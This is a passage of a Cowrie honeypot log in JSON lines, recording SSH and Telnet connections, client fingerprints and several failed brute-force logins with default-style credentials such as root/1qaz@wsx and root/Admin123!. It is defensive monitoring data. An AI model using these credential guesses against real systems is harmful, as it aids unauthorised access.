{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42470,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ed5e48f45e","protocol":"ssh","message":"New connection: 176.65.132.254:42470 (10.17.0.5:22) [session: a0ed5e48f45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.666108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.670665Z","src_ip":"176.65.132.254","session":"a0ed5e48f45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.905010223388672,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.693745Z","src_ip":"38.54.119.93","session":"b71224fcd961","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.752315Z","src_ip":"176.65.132.254","session":"a0ed5e48f45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48316,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcdb1bab92cd","protocol":"telnet","message":"New connection: 136.144.139.78:48316 (159.203.135.109:23) [session: dcdb1bab92cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.940928Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.996619Z","src_ip":"176.65.132.254","session":"a0ed5e48f45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03066611289978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:57.096025Z","src_ip":"136.144.139.78","session":"87314f626f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:58.082073Z","src_ip":"176.65.132.254","session":"a0ed5e48f45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54498,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb76aa4ec724","protocol":"telnet","message":"New connection: 62.210.97.77:54498 (10.17.0.5:23) [session: eb76aa4ec724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:58.169310Z"}
{"eventid":"cowrie.session.closed","duration":30.394668102264404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:58.249259Z","src_ip":"136.144.139.78","session":"066234f686b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.374085426330566,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:58.385674Z","src_ip":"38.54.119.93","session":"b6151604d862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.99737763404846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:58.523877Z","src_ip":"62.210.97.77","session":"80acc9f5fb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50768,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9bc8c719509","protocol":"telnet","message":"New connection: 134.209.8.29:50768 (159.203.135.109:23) [session: d9bc8c719509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:58.671287Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"589dc81eeaa6","protocol":"telnet","message":"New connection: 62.210.97.77:42106 (10.17.0.5:23) [session: 589dc81eeaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:59.179878Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48326,"dst_ip":"159.203.135.109","dst_port":23,"session":"72790d3f9511","protocol":"telnet","message":"New connection: 136.144.139.78:48326 (159.203.135.109:23) [session: 72790d3f9511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:59.508446Z"}
{"eventid":"cowrie.session.closed","duration":47.31384587287903,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:59.601270Z","src_ip":"38.54.119.93","session":"862e7102ca2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48328,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c2095e2158f","protocol":"telnet","message":"New connection: 136.144.139.78:48328 (159.203.135.109:23) [session: 3c2095e2158f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:59.678504Z"}
{"eventid":"cowrie.session.closed","duration":30.87995982170105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.117072Z","src_ip":"136.144.139.78","session":"3ba927619532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42114,"dst_ip":"10.17.0.5","dst_port":23,"session":"26c1750fa7bc","protocol":"telnet","message":"New connection: 62.210.97.77:42114 (10.17.0.5:23) [session: 26c1750fa7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.669184Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50758,"dst_ip":"159.203.135.109","dst_port":23,"session":"832db18cf4b3","protocol":"telnet","message":"New connection: 134.209.8.29:50758 (159.203.135.109:23) [session: 832db18cf4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.675418Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42472,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2f865cf9dd","protocol":"ssh","message":"New connection: 176.65.132.254:42472 (10.17.0.5:22) [session: 1f2f865cf9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.692491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.697586Z","src_ip":"176.65.132.254","session":"1f2f865cf9dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.781456Z","src_ip":"176.65.132.254","session":"1f2f865cf9dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":49184,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cd3bdd7648f","protocol":"ssh","message":"New connection: 152.32.189.59:49184 (159.203.135.109:22) [session: 8cd3bdd7648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.904850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.931495Z","src_ip":"152.32.189.59","session":"8cd3bdd7648f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42128,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b40e683a720","protocol":"telnet","message":"New connection: 62.210.97.77:42128 (10.17.0.5:23) [session: 0b40e683a720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:00.953971Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:01.047217Z","src_ip":"176.65.132.254","session":"1f2f865cf9dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49390,"dst_ip":"10.17.0.5","dst_port":23,"session":"461d0f47b078","protocol":"telnet","message":"New connection: 65.60.27.33:49390 (10.17.0.5:23) [session: 461d0f47b078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:01.123471Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:01.198108Z","src_ip":"152.32.189.59","session":"8cd3bdd7648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.814940452575684,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:01.619983Z","src_ip":"62.210.97.77","session":"1b4c98662b24","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"skyadmin","message":"login attempt [root/skyadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:02.074714Z","src_ip":"152.32.189.59","session":"8cd3bdd7648f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40848,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d32a12eff7d","protocol":"telnet","message":"New connection: 165.232.131.181:40848 (10.17.0.5:23) [session: 5d32a12eff7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:02.220935Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:02.449722Z","src_ip":"176.65.132.254","session":"1f2f865cf9dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.848024129867554,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:02.674766Z","src_ip":"38.54.119.93","session":"92cf8cc404fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:03.327371Z","src_ip":"152.32.189.59","session":"8cd3bdd7648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.72611999511719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.219692Z","src_ip":"62.210.97.77","session":"aeac87de26f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34638,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd8769276c17","protocol":"ssh","message":"New connection: 176.65.132.254:34638 (10.17.0.5:22) [session: dd8769276c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.637902Z"}
{"eventid":"cowrie.session.closed","duration":5.993267774581909,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.664466Z","src_ip":"134.209.8.29","session":"d9bc8c719509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":1245,"dst_ip":"10.17.0.5","dst_port":22,"session":"6528f08eb56f","protocol":"ssh","message":"New connection: 190.129.122.12:1245 (10.17.0.5:22) [session: 6528f08eb56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.716828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.722476Z","src_ip":"190.129.122.12","session":"6528f08eb56f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.750685Z","src_ip":"176.65.132.254","session":"dd8769276c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.757223Z","src_ip":"176.65.132.254","session":"dd8769276c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.625669956207275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.814813Z","src_ip":"62.210.97.77","session":"d6ea772ea9ba","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:04.894936Z","src_ip":"190.129.122.12","session":"6528f08eb56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.81855487823486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:05.038023Z","src_ip":"62.210.97.77","session":"a5c57a38f8e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37456750869751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:05.049670Z","src_ip":"136.144.139.78","session":"ec944faf215d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037848234176636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:05.058824Z","src_ip":"136.144.139.78","session":"eb28a4d1c5a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:05.222784Z","src_ip":"176.65.132.254","session":"dd8769276c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123456","message":"login attempt [guest/guest123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:05.601098Z","src_ip":"190.129.122.12","session":"6528f08eb56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:06.308378Z","src_ip":"176.65.132.254","session":"dd8769276c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:06.772087Z","src_ip":"190.129.122.12","session":"6528f08eb56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42130,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5b7ecd179e0","protocol":"telnet","message":"New connection: 62.210.97.77:42130 (10.17.0.5:23) [session: b5b7ecd179e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:07.132051Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":43692,"dst_ip":"10.17.0.5","dst_port":22,"session":"517ae0341f57","protocol":"ssh","message":"New connection: 172.185.24.228:43692 (10.17.0.5:22) [session: 517ae0341f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:07.649581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:07.851871Z","src_ip":"172.185.24.228","session":"517ae0341f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.669615030288696,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:07.890426Z","src_ip":"165.232.131.181","session":"5d32a12eff7d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa